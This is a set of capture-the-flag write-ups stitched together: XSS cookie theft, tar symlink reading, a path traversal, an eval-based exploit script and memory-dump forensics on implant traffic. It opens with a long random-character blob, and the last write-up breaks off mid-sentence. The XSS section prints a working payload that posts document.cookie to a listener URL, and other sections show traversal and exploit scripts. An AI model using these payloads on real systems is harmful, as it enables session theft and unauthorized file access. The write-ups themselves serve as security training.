csictfMITS1KT3:UY2HW2WIYX3EB5E4BKRMS2YHBKT82MVPUISKZFNOWYXQUHMD33CJNPWIFDKOI7IPFBESU2HLNZ4EH6CJCNWYO6WM5E5RDI1Q89HQFIHR1EM4VFN451F0RD448XEA637K7YFLXQ9TKPINU9R4CUJE2GQD93K1A0P14WJGL9J8YQRQFEDA2NMD5IUXBQ2MPZFVPS665APY55DIXS48PQ40TUYMUPU30DQ2RABAZVSRX3RVOHH5SBDJAE0GN1J0MHQVFH69S0ASF76HKH6YQF51QSZD378VK5YOHR3G9KUYK3M5GXSK9W4JENVTI4MU2FZHMJ2R10YS9FNZ9PAS0BH198OYW8ENEJEF6816QJ8AJGNOEYS4MSL2CZ6O07LGMEVM12HVDNEUT9PA9NY23JDSF7AIMOG0BQ5CDVFNQGYCJGDGZO2YAP3JVIFYFGCJ2K58XXQZNL1D8NW8BESVKZC4UST3CMN1TVVFID30X7HNCPXTWHWLO0LGZURH50M444SPMA2IZR2SKM1EPTP2F1IMW0IQGJWE3T3J68883UEHDG2CC2YFZ2WQM45J0E3J1HX6NS2N69GOKZUT2JSYTN7YRZNTILR0LMTAPCZJMPXU6MH2A6PGVLAQXGWD6QDWE7PT6J0TAAYTJS8VLCQ1767F2OOWSX9RJRDL7P17XN0F7UCFUNYNI47G4YZAXP6FLKQC4WKZ09JLVTNBER63BQIWX75FA6POEZ014NF3S3RZHG2R9WXOHGBJI67XX83HYKDFKOORYPD1VMOZQ11PHX3E301U0C4Y74SSY9N1EC0JJQBDMAQ82NE2NQDDH4UG8P5A587B548S7LA7HZYB0FMJHLHY3VV5PITD722ZIY61B8O7OYBBZRXWV5VP6Z1EQACN6GD0OVFCE4K1SRGQPZR736995PS5NOLSCH3HXPY75VXUS74HJYMFK4U06F274ZURG5Q48W29989DER4XHDTX8V9OYQUKTIHI7ZFRWSXXASMXGDCNKHX6YPYAN9GWXEWC8FRS61UAVF8QIASIHT9M4443DP8N86OOAXWJUZX1R4TNYC7J7EZRQKV4S4OAHXGT1G86C4AKGGHT5R0QPSB2V92830R70RMRJ3GJO1SRKPOR2Q84JRW0B8AIT6HLZFFE1MEP9JJWXB55AU2W7AJGY5287QJUYG75MQ2MF0MOVC95F7Q7ECOG4U01QC3JCH7NDYVY4JNXTO42FWIMKKGI63OIIKIG31KTMJQOH0LMUGVOVKC3A8IA7BV505M1171C7TG5Q56QVUNV6TSEAOYUC49RP2GZ43FFN9M91M03LLF9FMZPQSAKEAQJGLEDB9D8K2A2BNR1TPQH7DDSY9I8ECZ86KLSB3P1WRPYO89A2H4IDPFKTOKCFGT1QPC7YVWQW1XRD5QCUOXC9OOHZ5KOGN1FVBG3ZYM3M8LMWCDBY4YUELUSAXL6YQB4JGJNGHPBONQSSTRQJTUGHDMHOVDNU8ZYZBLG7NR456SEXVKEJE4ZN61S8B40CG65YB8QCHHCSIDCUHY220PGRX620UI990D1MOPSBTZYTARLS1IBG7JOPYDG2PN041532CBHFQZ6L4YQ9PNJ7XGSTLO6U7H9C6PN2RQQK8AZVS7ABCMBSU37U7RWT515908D9FEA956ATLQWKNWO2E13EK23QRTK72BFTFAA18XBOVEA544IIYT8R1SNSZDHYSRB3ZXKB8UJC2TN5H7FOUGULPJTJNL4UA3VWM6IVHUKFV9VY9VGP9USC6TJVVQ7DKT62NFN9ODPK44GQU5XW2DYOYLJT3YIF0IX2LDO3IVHAQOLSVDTV0B2IT6OR31CFETD13F7EA1KXTW1TKZJ2A2EVTHPVAKQ63GB2NMS2SKVKV6TQG0SD96CCMVT68F642T548O8GIWHFN68QQ9DSC376X5GEGUR28I4NZUSA2VWSWRZZRLKS3TU8VHSQOY19HPWQYWMZPSY7KSR5TI10OYJIGE3VO26D803CVK40BLHNMIGGBKISLCLZOGV23GDTWN7LVMV59V3W5F77DAB1ZJYF71TID2OW1BEMM15CXP9U8FFOTW03BQWTV8HSBN1830FL6ADCB0Z6FVO3XQH6B812XZTP2398D6XTT5VQ3ZGVDVEX4EUPXJJN9IQ8VB8EH4ADQICAUCBO958M6XKI01ETKI7V6AIRY6KA99YY0NN3Z99HPVNCBN82COOWPV6M1LZR4Y35LV0YQWEHNP15K0S42MM2V0GVVPY2QKXLPVLL9SATV3XB173OPQX7O0KMWI30BIEWYUZREHMBCPU3081S1VPZPCWRTGVZ084X3CWKP0CN6SWZKJW7T4TVGRQ9EWKZE6N3S3HF3RY06CZ20FFO8NCNWHEATZ8LQW9DA6BT8D0ZRG74GGAN69S51HOGBXRICMRG0L5QGV0CAQE36RIYODDZFGAIYSUT0LSBXSVNN9EJWZCK6QVYJNTDIIAJZOMBBVU92487MVRSKCGGVA08I7Y1BQ6JP7HM5CO15DZ6MX11CDJ8OOXJT6VWYWAYPH5ZLA5M10DL7FEP61I75LDQLVPDQ5CSUPJ1LO8OM4FN34GXWORQDJMU2UE21X0Y2JQLR11BXAAIW49WNZKAQTV7SKOJN53L1QL0VP8DYX4ZVBKG6QIG87G9PWTGB0LQC0NLFBP1XSQB4SU5VAA8QHM60U2XK8GBY671I7BNCS8A1MUT22ZGGIUJYN9VTXLDR85BACN0YK6JWEQJEYDZ5CZHMQN5I0XX6T6UK9CRPOURQPP9I2VJ2H3VWIIGRU594UU58O2H45Q3HUXRFS4FXJVAX0OIRGO46O879763E3UWXCBTOKN8SNT71V2TTH1RGCEGOOVTQTBMB9VTVHLRNT7C44V37MUHCMKQBPNML8GAK7LU1U0DRFX9HX1JBOR4XKOX37ES9YRNYQIC0YXI99DU4X5ZMTXJSUW7IZ2GC77DSZYUZ8OLYGTZ5C70KWROCOCD7DZMTM2KDBY7B4VN93CANQM7VG1MA8ZS2Z1RU1558OPJ913JCZAPJYAV6JHIUQ4ZHV254OJIBTOM1VM0RWTTYAICCNQMW2SC21E5PYNTB2FC7ANC14ZHQO2WU8J2HZWZ0PLI6GD778FN63Z3XEOD9Q0RUVPKHAALDE4G0RVFOLXNG9II91K9H8W3E6GTS2KTNXYD46AX4KEUVTU4ERXQ6ZMF74L7BQO5H0AU1HJ9NFVINPUOWFIU6H659140G03G9I7PTZB21O4S0PJ8SJ96DMQOE6MRHDZYG19S1CVURD2J9FF9RG1CVBJRXC5UWRYN6Q7DKB95BJRO6WQX5PTB96NANLZK6NPD6TPNDGI14QZXWCXQI0FNK5E8514PJ08I789R6P6634MUN08HZPK92W3HTPMQL4GUP48OEQPW7AHUQLXAX6QMJXISRSAX2IR75LS816FTX92UPUT7KKZRLT2EY9RQPFXIIK8PL5XDMLVMX6CC9EE8Y7QA7LUO5PKUQ1P28IHL8LGBDTAZZO5Y80WD2LOZ3CPEO4A006LM8HYTZ6MTR4J7AKJTQ2HI76BZ4UOWOCL4SVM4BZFNSTHRUX7YT9B8D4HXSW8Y67OOGRZMNSOFX7WI99SN1RQQ8BOEWS655PTNEE8ERKV6VI6P1YSRNEJDZAGSHFLX4XNZ9FMK9ODW9BP3IRZH2QF6VUPPPJROS33X2M8G7N3HXP4IFBQOC07OOTQF2D2D4I81761RV3JTJG93WU88BJXEXLNIRFU9Q6G71M954K6SAA0S70Z2VQFCQBX0UHY5MY2SX32CH1O2YP0XB4Z8EGR3ZQHNZDXLDD618GT1A5F5DIQ7EAOU0BPXYV0VUZ2W30QHGVMLYWG9YIU9XE2JND6KOODIHBQNXWGRFY4ABO07KLP3J6N3WS1M50KCGEZ9FPQSHJBUZNT4QOM07TVZ43FRXXTPMPIWRKYSPJWU2BJL04KJ3ITZVTHBQM9J9OWVX8csictf{not_the_flag}{user2:AAE976A5232713355D58584CFE5A5}WOQS75G7TVPTTN3RBXGK96HGINKCRZ1Z8JP6N44KC02C9E8QWWTA2HW61CHPMKIZEZ6MYFR7N2WKVK93G5NBFEYYIGLUVXWK8NB3OZ06NLJVLRL6AXEXCYV6Z00CMPDPA7TU0G2CCRI5XNEEZQ79ZKC8B9WF0R79KX5X0EO0SVR8DLK7A5E4ZUO0A4ZYSP3DMENRTSIYRBP77ENRO94R3YWYGV154YX23Z6GY9V4U1ARL3PDFU6XO9RZOLJEJ1XXRR97HRV6TBSITPQ563V7GAAQSAPVY01KD8OSOQ1A78NJN0U4LRQN2ONQ0RTNO51W3227SH1BRGKC1SF9J8N72PMYIKMNJLE1XIH36AR3XU22NRTBTWOKEL9S1JT0THW0YF8MGC22RUERM34LLBI6B0EVMZKTE231NH9LTJBMKIABUXQ9CVZWTGIM2PFUNDFZVJSG14WO8W5FCJ1G6H1VXM1HP8Z92LY98JSYW2WDTHZVWF2AWZGTIY3OIOK0SEVIUOZT1Z41QS0C3W7FTRJEOZ3V3NDY517A48030C1362BNZHSZXYOF1CMANHQ408M9FF5R2Z9HC5BCDSKFLHAB3YFJ414WXCIOSPSY18323WYJL2FG0JHJA1ULW3M1KB4VXNWOV6MYU5YV88WJ8L03OO6738R50LI8XKHFR0TDVSFNEVRG95LBPMNUMRLP315YU6JMK4H5IF4B1P4N1J5YATTL6FFU9EMH99XUPEWXHH8TOZ4LBEFKGBS0LJMBRA6HULPB147O4DWNUALAOYY3VTXEUUT6CQL48PBB65AOU88UXDS5GHANP9A2XKF1MRRFTHJWLNEP3TMSK61ETIY82OS6GRYFQ5A6PXAVIWCSNT1H5CBBBDP9E2UOEVQBOOI2U27RQY4UU5QEY6GX75E72RO7RYESFMQR14LT1IS605XI4J5U7TYZN6NCIN2HH2WWUQ7DVWYPAGG3OZWHS3XE2LYT7N23WBN06S1RHR2I2A213US00MU6RDLCL194VL6221A6GS7XYFDSXPZQ458LVL1MCKTGV44OLC1LPLHTNRYKTXMDEM640I97STPIRPQ2OHCI3J6I6DL14FTJ1NWUV2U0V0GSW3TVUEUKXATKLU4DVFMPP1P8WLC1PSOM4ZMN6425OO27WSDU0QGWYRJDP90CCDIE2PFI212HBL7VSPQGA6L5V25JC6G3SHAD54GZYPB068DKLMQR5O6R950KV7VRATX628KS2SIS2QOF7RLF8GLGDA1HNL0UQ5FA7375ZR009M6NXQSS96JYJ7LU5T0K9S18MSMUC63O1200JCR8C9LPAGGAL3VTWKM1FEAH1KNJCUYKY61I7MTDSJG4KHKZD6ULTT4VAKH70S9QJL99YL9KKG7IEDHUNKE4TB7LH6NJW66LGU4EETSV3GOO82S2EJQ747UX1XNU5PVH1P98TUSI3D8VY4677VBHPYSBXVOKO1VYQ1DMGZ28W1ST70L7VJZ7EA2XZYNPHYK5G38AZ1JTLKADAFHIV69SGWGXDRD95SGC2TDSRC696QPSVLIC58SGBOUYWGXDK9OWL99T8H23KBSALFEHA0U275LJG86R6W3R2V2TRGUM3VAANU0ZRV87IPHT7YE47OXI4UIDTL16501WZA0TYYLHJ6QW1QNLJF1J9ABNG6FYUE6BPMRQSDGCKSYQZU2606NOVBN5527BOBBZYEN21UFSR78CKSDJ33FE8EOM48NLKY8NDGSBI6S98CJ0CP31S2C904DKSAHXW53LMG5MQQDGSPWUINDH6KE58HY0WWY2L5FF5SM7F91QAWUKCR89VN60GQDUDFQJA4BUH9IRC62LYT0U5GV9V3RCQ5JJXSF5UOP3SYFWM83AWXHU2YWO2AF7MTX72OXETJGI97BC3CLOF14Z4EEAB65QDFWEZNXUJR9ME3L636AJUDA5454C8J8O2YX3AS6DC9H9GL61CHAWODSP6VR0KKB5VF1KO7VXJ79DRATCORP792OU0WTN2R1QNSQ3Z11GD3QTWAC07V7WHDYZ5AQ46YQYO3G8VXMHBV0CHSUHGB7NHLR83ONUC5AL9C5ETLAW050TLRWI9Q7JLHI0DDJFXRUEAIBA6GKFZ7KLJEOMWDAEF17B1L48WVLBDXGHLMS11153WJ6VQDQUAGYSS5P7I2ZC9LOEP5CB705B3T6U6BF4PZ2HTILN4X0T08YRFYRNCCBTZ6KZUYGIRLBKCLY47O6G07PI59OY2IH3FSH3GIPNLSVPJWYLR9FPL0THPTQE362JJNW3VXVE0CPQ49GRV65I2H68KF2EN5VVOEKZY9F5X4FUFQ6M8CFLJEMYU3CZOTPV7I579OI2UPBE8VWDTLGXY06LAA5K969EBP2GVF9AXFEU6S86ZE3C9OTJS99NDGNRXX2C1M5J39DF145L5OW1NEDMGBCDVYA9C5RS54H0K3XGU1AKRI2VCCX5MI56BW6AGGSPMKSDH6D00OD49U0O3BOIF9Y5J95ATGBKUKWTKE7J7PW4LTONO5Y50DAAHGYSQAUPCP2GIKGOSPEM84K68PYA117FT54FDAB1251BK34OX92TVU8IVN8MRGC40BDQDAJ8Z0RJKPCM96FF1XF2XFAWDM9MTRVRPAZ0MFNKA8JRLM318U6IYYLV4D7ZV77AA2SSG1IJ296WE1D4ZB5E4BTNQHPKAU4K732ELAI2TZ7MXOWOIILLM21OVCH4F0F34X8HM06EKDNPJX1CKKGE4E2ZCQTH8XQLCPVYHGKWY350VX5SPKN8GJP9ENOAWT1TVTJURJMB3B20EZXIJP3JPK0K4Q4QX45HWCPS0S8FQ55W99R0868Y02LKHG1BI2BLG7DGXBVUP0IEO45JFI407Y40F4DUSEQZ5E0T3Y4HYMRAMN1E0AYV5ZUYU0W51APTDK6WT9QU8X845YK8VLTC7ZI1H8EAZBVLLRFWO5UL94Y85SV2PO5298725IT49NHOUUVEVW4LTL2Z0E4OC184QVKDW8MGWYWWTO7V2G4NFRCO22EYRPNF3OGD118E8SD3GGGB0UT0Q6WOGCTJWZXG5P8VBFEBL1T6HAJQKECOEXG82R84WBA8HAEXW4RW9RPQ5C1FU0KT78VTRSYHLPR9KZZ8HO28LWTU78A69TGHIV87YJJQFYM6MOL2QEVIHWTYQARVTUF6WDQQMC04S2LN66L6X99IIF5E2KD3THBAZLD9QBBTLWVY8TXDL81D1FBL0WMIHT0PIMZ5CSHP7EADOVRPLMPXGADUH6VMJTPTQ4P7F48QEJCY4S7EQS20E6N6L7UY1VI9LEWUDP3O5PAAKKFVTMT7Q40XGFEHSG01OMPX3JDVFV9U73Y6J7AKCTDEKOYEJ38NSAD5ULXJ1LYQ4FNO10QZVLK75NONJK8J0GPEH7DKGMIAW9I43JVUUF5OY3T7X4TMS789LQZDZHFCASPHSTASYM6RS3CTCYQYL3123IAZRDOR8PB6DXU2MTN8PMYKSGA6NRNXY5CW4YISFO7715OEID2XQYDW29L8EFXICBRO5TJ6YJ4KE47B09T2T3Y55FPO3L36SPT6G8TO39I7PUYPD4TA8QCEUTPQCPFBWH80FP6BVT78DWS5EIM9EKJ6EIL8J8NCOKTGGW0ND8M9LZK0Q92CBBRWWWS4E9XJNDM8BETVC1S27TI3CV1FQ28UYRW5WFTX0VHJ8Z9QCV7E8YPTK7DTEWLZ85C3NY1SKH9E6ZKBM6J7GEV3WFX75CXZ3IY76YJYF4MQ0V83739331MJ29KYRO3X76IU7T43RD7ZSARPRBZH76X35NN2GZNCXDU5126XX5XQXNZ7AVTL69GSCTT8ISRAMYET943NUJ5I7THFAMVH7TU3AT4NNEXD7IWFW844ARZLWQRCRAH020WL3MZMBQ2WY2XULOBWZ7AJESFAWJXOE6D7120GEZY2Z0WNMSKE1B6C5ZHOVWSU38CY9YTVJFQMIOWJ23ISYTD5YVE1GE0SXELQ6S7EUY5APOMCR5N6ZGLLOMA749VBCMHM7WDWFIS6KOC1BQQEZG70X46JQGQMEDE1TQ3HJ4LIY3OAVBB5Z8EQVWMRVC176RLKIG49TJTFRGTT8WL4DSM42D50I0R6764MRPUM65AXS5ZRITVVH8RR0KD75N537DO97HJYPFH84MEKJZ32UY4GUSFX7A9MQ20IY6ZWFD1JRHVY1EDWUQVU40Q54CGAWK07AYFAQTPA8RBFRDTNC8UF55IGHX2S63PYI6H2128K2EA65H84A10J8CRHMXLCGGZQG95VBTS3SG6ODQYLG0G42OF42LUOZABQ70NU5XDXRTORBPZIVL7CO5WXGE01JKXPLH0K2HN98GIQAGG9UMA8XO7XK8RBTODH1RMRJ5DEB82LF7VSS4LD9SL7QCHUJDKF13QYTEO3GGFZD2Y0IKGVIDFBWCLCB2WBIV94YHD1MWSZV4GBLEZ7AFC465FEC5S44BHEN3ATN7Z6GFKMMRTAH3BEE7LPMWEY8B6KZL4DTXUFF81G4SYVE9U8RL0Y3YRZ607VYR4QL1EUEP3S2X6RIZETDZ5ZSIK1SVIKS6YPNQYSAGZP4BEBJ63ITIC72IWLNNHYQ9WFD6R6CV2MBDDR74F5KF3TMCLOBIM44QGYB6465Y23O93DLTBJB0VNVDGLCSQ223CIYOJX3FRNMNEKR8MXKFLKCDGPVF129N3LNMJUVHYF7DOEJLG6NG1K123FNMV1NQECX3HHEXYVERK4F06IAC8RINFSG32MF1N8VYOASR9HAWN6ET11ARF0LL8H9PVV7EVGFCFEEHCYPEGTYVHWZMYFZUJXO7GI3ZTZ0VMI6KOQP8VB72EUBZA5WFJIOHTHIXQQTVJYT0ZVKWVTUK9Q8NA1RBN1C5BZHFZSW53PLO297M6UM8JHL9KEUN3MB3CMMJ2ADJAZTRK4K2OEMQEZN1NYKMLSJYYU3WXB8OO27TCTIKIQJQ8XI5M8OG73U4H6RQ92MCXD8XKFTAEY2CZW7DVU8B2QVD0MG70QV8QI21XR9HY0CYCL0XT4MH34KLENSMBNFFNOXP4DX7RJI7SMPKIRD0ONTR8Z3KQXD606TXNOEK0AB96ABTH4OO2CZ56IXUMWDWDRMX21QHCL3BEOADWGOJKU08D4WCRWZT88CZ8KC4J0L1T1ZEAHM0MREZ5ZU9WX7E9K7USHZMKNN6F6OQ92MU63ZGB78RH62HAF6T68NH2ZM4CLB0GE6TN3M78A745JTNDDEP8ZKUHXZ17F855AK8DRIE6AL8SEOX88MU1R7Y3SFLCX9P16UBZMR2TGIZRRGHGU64WPMMZRAOSD5QI0VE4MSVYJDYPK4JZAWSWOUQNCWMU0RLZ219PXRK0TYMPKYU3UOASQJYPHE7V1Y25TJ11DD9E7TLSHSF6XJEKID1AGL94OM9N4H4HI6OFZBL95POIAXFZ1K3P9BV9AS5761EQWH7BCHCIPA7D1GXJOFRTWI44F9MRTR2WJ2ZIABUZFCIARRGZDY06RQVSB5PITZL55TRO9P02ALLRWHYKPBARZ2PNN874U91VRKON96MRT0TF0T0UNR93F2EVXY1M5GV3V6O71UUXYGT0JRFKZI478QYSJKLF9YJ2F1WX65MWBG4BV6YJUCEB8T1KJ8BAGBI3ZYGV9BDRHHT0P3NHLMTB7MVWSU3QS7V4W57TQ7P2JONE4OBQ2LS5ZXA9GUMWSUN6ERSHUHKBVYBQMKP34UF83TSNTXOJEMKO5Q56ZL8AATQHO9WTBFCLEEEUJCAJH5KAAR0BDRN8Q43W09TAMVN8M7SHXVLOG4HQEUILN47C6PQP975JAUBA4HAWQ1PUJCB5WIUJ16AN0FRTVI58VA3QZQ448MZG8616FV6WJZ6GLU3LEIZ44GENU4UERNA70NAYVR1UEEB9Y9Z36L7MWWNBMCHFSGJYU0QX5E8RP4ALXWNBBWXKHYKSA66QT4J0RD6L8N``` We can read `csictf{not_the_flag}{user2:AAE976A5232713355D58584CFE5A5}` We reconnect with the user2 login and we get some other files:```$ lsadgsfdgasf.d fadf.x janfjdkn.txt notflag.txt sadsas.tx``` We try a grep with `_`, as most flags have one:```$ grep -R _sadsas.tx:th15_15_unu5u41``` The flag is `csictf{th15_15_unu5u41}`
To solve this, I needed to create an HTML page that, when opened by the โ€œadminโ€, would steal their cookies. So the first thing I did was check the source of the HTML page to see if any sanitization was done when creating the HTML page. The page has a script.js file that contained the following : ```(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const content = window.location.hash.substring(1); display(atob(content));})(); function display(input) { document.documentElement.innerHTML = clean(input);} function clean(input) { const template = document.createElement('template'); const html = document.createElement('html'); template.content.appendChild(html); html.innerHTML = input; sanitize(html); const result = html.innerHTML; return result;} function sanitize(element) { const attributes = element.getAttributeNames(); for (let i = 0; i < attributes.length; i++) { // Let people add images and styles if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) { element.removeAttribute(attributes[i]); } } const children = element.children; for (let i = 0; i < children.length; i++) { if (children[i].nodeName === 'SCRIPT') { element.removeChild(children[i]); i --; } else { sanitize(children[i]); } }}```This told me that they removed all attributes except for `src`, `width`, `height`, `alt` & `class`. Also, it removes the `<script>` tags and everything thatโ€™s inside. Iโ€™ve confirmed that I could do XSS by using an `<iframe>` or `<embed>` tag. This is where I fell down a major rabbit holeโ€ฆ Because of the filtered attributes, I thought that they wanted us to craft an SVG image containing malicious code. Unfortunately, that was not the case. After losing a couple of hours down that rabbit hole, I decided to look for another solution. Iโ€™ve thought about another idea : Why not try to send a hidden form that will submit itself when the โ€œadminโ€ clicks the link? So Iโ€™ve come up with this code : ```<html> <head> </head> <body> <iframe src="javascript:var f=document.createElement('form');f.action='http://LISTENER_URL_HERE/';f.method='POST';f.target='_blank';var k=document.createElement('input');k.type='hidden';k.name='flag';k.value=document.cookie;f.appendChild(k);document.body.appendChild(f);f.submit();console.log('Cookie stolen!');"></iframe> </body></html>```This main caveat here was the use of `target='_blank'`. If you donโ€™t open in a new tab, you would get the iframe cookies (no cookie was returned). So finally, submitting this code to the admin page stole the cookie containing the flag and sent it to my listener. Iโ€™m pretty happy with this solve, even though I went down a time-losing rabbit hole. That SVG stuff was actually useful in another CTF we did later on. *flag{wh0n33d5d0mpur1fy}*
# Tar Analyzer*Defenit CTF 2020 - Web 278**Writeup by Payload as ToEatSushi* ## Problem Our developer built simple web server for analyzing tar file and extracting online. He said server is super safe. Is it? ## Unintended way It's defenitely solved by unintended way.<h1>SYMLINK!!!!!!!!!!!!</h1> ## Exploitation1. Make a symlink that points `/flag.txt`2. Archive it to `.tar`3. Upload and read. **`Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}`**
# UIUCTF 2020## security_question Writeup by **ranguli** Challenge by **Husinocostan** _Someone just asked a very interesting question online. Can you help them solve their problem?_ The challenge link `https://security.chal.uiuc.tf/` brings us to a fakeStackOverflow page with the poster complaining that their friend was able toaccess the `hidden_poem.txt` file in the root directory (`/`) on the server. They post the following code snippet looking for help: ```[email protected]('/getpoem')def get_poem(): poemname = request.args.get('name') if not poemname: return 'Please send a name query:\n' + str(os.listdir('poems')), 404 poemdir = os.path.join(os.getcwd(), 'poems') poempath = os.path.join(poemdir, poemname) if '..' in poemname: return 'Illegal substring detected.', 403 if not os.path.exists(poempath): return 'File not found.', 404 return send_file(poempath)``` In this Python code we see a route defined `/getpoem` assigned to the `get_poem()` function. ```@app.route('/getpoem')```We also see `poemname` being assigned as query parameter. ```poemname = request.args.get('name')``` If we try the endpoint `https://security.chal.uiuc.tf/getpoem?name` we get the following response: ```Please send a name query: ['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']``` The Python code that causes the trouble here is in the joining of paths. ```poemdir = os.path.join(os.getcwd(), 'poems')poempath = os.path.join(poemdir, poemname)``` In the 2nd line we see that the `poemdir` directory and `poemname` file arebeing joined to created a path. If we evalute this line of code in a REPL, weget the following: ```>>> import os>>> poemdir = os.path.join(os.getcwd(), 'poems')>>> poemdir'/home/user/poems'``` We know that `poemdir` is the `poems` subdirectory inside the current working directory. Keep in mind that our interest is in the root `/` directory to get `hidden_poem.txt`. Another join is performed is the name of the file. ```>>> poemname = "poem.txt">>> poempath = os.path.join(poemdir, poemname)>> poempath'/home/user/poems/poem.txt'``` Because of the way that `os.path.join()` works, if we set `poemname` to `/hidden_poem.txt`, we won't get: ```/home/user/poems//hidden_poem.txt``` Instead we'll actually just get: ```/hidden_poem.txt``` Which is the path we want. We can try passing this in as the query parameter: `https://security.chal.uiuc.tf/getpoem/name?=/hiddenpoem.txt` And we get the flag! ```uiuctf{str_join_is_weird_in_python_3}``` **Original writeup here:** [https://github.com/ranguli/writeups/blob/master/uiuctf/2020/security_question.md](https://github.com/ranguli/writeups/blob/master/uiuctf/2020/security_question.md)
## Description ```Put two and two together and make pi. nc 35.221.81.216 30718 Hint for beginners: Open the terminal app of Linux or Mac, and run the command described above (Windows user can use WSL for this). If you successfully connected, then put the random text into it and press the enter. ...You got an error, right? Here, the attached Python script is running, indeed. You will win if you can hack the script and make them output the content of flag.txt. I'm praying for your good fortune :)``` The following server scripts are given: ```pythonfrom base64 import b64encodeimport math exploit = input('? ') if eval(b64encode(exploit.encode('UTF-8'))) == math.pi: print("flag") ``` We have to encode UTF-8 characters as base64 and make.pi. `math.pi=3.141592653589793`. The base64 encoding result string consists of the following, so we can use expressions such as `division` and `addition` only and `1e4 = 10000` in the formula.`"ABCDEFGHIJKLMNOPQRSVWXYZabcdeghiklmnopqrstuvxyz0123456789+/"` Among them, you can find the results encoded as follows: We can use this to calculate `pi` from 0.1. ```b64encode("ใฟใด") -> "452/4520"b64encode("{M>") -> "e00+"b64encode("{M~") -> "e01+"...b64encode("{Mw") -> "e013"``` ### solve.py ```pythonfrom pwn import * conn = remote("35.221.81.216", 30718) table = { '0.1/' : "ใฟใด", 'e00+': '{M>', 'e01+': '{M~', 'e04+': '{N>', 'e05+': '{N~', 'e08+': '{O>', 'e09+': '{O~', 'e10+': '{]>', 'e11+': '{]~', 'e013': '{Mw', 'e14+': '{^>', 'e15+': '{^~', } payload = "0.1/e00+"*31payload += "0.1/e01+"*4payload += "0.1/e04+"*159payload += "0.1/e05+"*2payload += "0.1/e08+"*653payload += "0.1/e09+"*5payload += "0.1/e10+"*8payload += "0.1/e11+"*9payload += "0.1/e14+"*807payload += "0.1/e013" data = ""for i in range(0, len(payload), 4): data+=table[payload[i:i+4]] conn.sendlineafter("? ", data)conn.interactive()```
# Friendship Gone Awry - Forensics Writeup by poortho ## Problem Description I told my "friend" if he managed to guess my friend code, he could take anything from my luxurious island. Now, normally, I keep my friend code very secret, so I'm not worried, but recently I noticed some suspicious traffic on my computer. Did he actually try to hack me??? I managed to grab a memory dump of this strange process along with a document on the desktop of his laptop while he was in the bathroom. Can you find out if he got my friend code? Oh no, I better put my lovely Dorado in the museum! Author: DrDinosaur [traffic.pcapng](./traffic.pcapng)[notes.txt](./notes.txt)[memory_dump](./memory_dump) ## Solution Oh boy... this challenge was a wild ride. The challenge author, DrDinosaur, told me to make sure to solve his challenge, and I'm glad to say that I did... although not without many, many mistakes, especially later on in the challenge. ### Notes To begin with, let's look at `notes.txt`: ```aimplant crypto generate pub/priv keypair (box_::curve25519xsalsa20poly1305) on implantsend implant's pub key and nonce to servergenerate pub/priv keypair on serversend server's pub key and nonce to implantgenerate sym key/nonce on serversend sym key/nonce to client encrypted with box_zero out priv key in pub/priv keypair in memory for securityuse sym key/nonce for future messages (reuse nonce) implant design local struct used for debugging (not sending)#[repr(C)] struct version_key_struct { version: String, key: [u8; secretbox::xsalsa20poly1305::KEYBYTES], nonce: [u8; secretbox::xsalsa20poly1305::NONCEBYTES],} version string should start with "Version: " todo:review messages.proto``` This file, although short, provides us with a lot amount of information. 1. The implant performs some sort of public key crypto, but it says that the private key is zeroed out. As a result, we can likely ignore the public key crypto aspect here.2. In contrast, the symmetric key crypto is what we're interested in. We know that the nonce is reused, and that the symmetric key is likely still in the memory dump.3. From the given struct, we see that the implant is written in Rust. Furthermore, we see that the symmetric key crypto algorithm is `secretbox`. A quick google reveals that the key is 32 bytes and the nonce is 24 bytes.4. We are given that the version string starts with `"Version: "`, which is in the struct. We can use this to find the symmetric key in the memory dump.5. The notes mention `message.proto`, which likely means that the pcap likely uses protobufs to communicate. ### Memory dump Based on the notes, we can be fairly certain that we can recover the symmetric key. To do this, we open up the memory dump in GHIDRA (as the memory dump is an ELF). After GHIDRA finally loads the file, we go to **Search -> For Strings... -> Search** to obtain a list of strings in the memory dump. Then, we enter `Version: ` in the search bar, and find the string `Version: 0.13.37`. More importantly, however, we notice that the version string is at the address `0x564be6144d80`. This time, we go to **Search -> Memory** and enter `564be6144d80` as our value. There are two occurrences of the pointer here - I'm not exactly sure why, but both copies have the key and the nonce immediately after them in memory. key: `6B4C397D6D9E3F5E20D0B33B594C57AC03E5A42CFD432B71D43F8772F3F23381` nonce: `F228B1C1C5ED37509726BE5FF8A87D3A05258D0235013BF7` ### PCAP By now, you're probably wondering why this challenge is hard, right? Everything seems pretty easy so far. Well, here's where it starts. Opening up the pcap, we're greeted with a bunch of SSL traffic. OK, great, we have the key and the nonce - we can just plug them into wireshark and have it decrypt it, right? Well, maybe. But if you can, I don't know how. The only SSL trick I know is the secret log file, which our key and nonce clearly are not. So, what do we do? It was at this moment that I made the mistake of trying to do the decryption by hand. To get started, I wrote a quick python script that would decrypt a file given to it: ```pythonimport nacl.secret key = '6B4C397D6D9E3F5E20D0B33B594C57AC03E5A42CFD432B71D43F8772F3F23381'.decode('hex')nonce = 'F228B1C1C5ED37509726BE5FF8A87D3A05258D0235013BF7'.decode('hex')data = open("cipher.txt", "rb").read()box = nacl.secret.SecretBox(key) f = open("decrypted", "wb")f.write(box.decrypt(data, nonce))f.close()``` But what data do we actually decrypt? I took the educated guess that it was the data in the "transport layer security" section of each non-ack packet. I tried decrypting the data this way by copy pasting the bytes directly from wireshark into the file, then running my script. This worked decently well - I recovered a string `tom.jpg` (packet 12), and an interesting image (packets 43-45): ![No, this isn't some screenshot, this entire thing is the actual image](./out_file.png) Notably, this seems to give us a password, `R(3/[V*H}'(;5pax`, that will likely be used later. Additionally, because we were able to decrypt something successfully, this means that our key and nonce must be correct. Otherwise, decryption would fail because secretbox is a type of authenticated encryption, meaning it has a mechanism to detect if a ciphertext has been modified or not. If you're familiar with TLS/SSL, you might be a little confused at this point - this isn't how SSL works! And you'd be right - though I didn't notice at the time, the "SSL" traffic here isn't actually SSL traffic - Wireshark just thinks it is because it's port 443. In reality, it's the raw secretbox encrypted data being sent by the implant. In Wireshark, you can right click on a TLS packet, go to Protocol Preferences, and then select "Disable TLS" to stop Wireshark from thinking the data is TLS encrypted, which makes the packet capture easier to analyze. Now, however, I got stuck. Any other things I attempted to decrypt would simply fail. So, how do we proceed now? I figured that I was doing something dumb while decrypting (which, as you'll see later, I 